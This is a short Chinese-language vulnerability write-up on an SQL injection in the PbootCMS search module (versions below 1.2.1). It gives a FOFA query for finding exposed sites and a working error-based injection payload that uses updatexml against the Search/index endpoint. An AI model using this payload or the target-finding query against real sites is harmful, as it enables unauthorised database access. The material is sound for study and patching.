# PbootCMS search SQL注入漏洞

### 漏洞描述 <a href="#lou-dong-miao-shu" id="lou-dong-miao-shu"></a>

PbootCMS 搜索模块存在SQL注入漏洞。通过漏洞可获取数据库敏感信息

### 漏洞影响 <a href="#lou-dong-ying-xiang" id="lou-dong-ying-xiang"></a>

&#x20;Note

PbootCMS < 1.2.1

### FOFA <a href="#fofa" id="fofa"></a>

&#x20;Note

app="PBOOTCMS"

### 漏洞复现 <a href="#lou-dong-fu-xian" id="lou-dong-fu-xian"></a>

搜索框页面为

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhq-w345lMZhXveSCkH%2F-Mhq1F73_VyzdYL84gGM%2Fimage.png?alt=media\&token=f7426576-0702-46fc-a19c-2cf9c9e58d21)

Payload为

```
/index.php/Search/index?keyword=123&updatexml(1,concat(0x7e,user(),0x7e),1));%23=123](http://127.0.0.1/PbootCMS/index.php/Search/index?keyword=123&updatexml(1,concat(0x7e,user(),0x7e),1));%23=123)
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhq-w345lMZhXveSCkH%2F-Mhq1Qj7aHrIPQUhPdIi%2Fimage.png?alt=media\&token=47e7c729-3ad5-4732-be71-b6348db09951)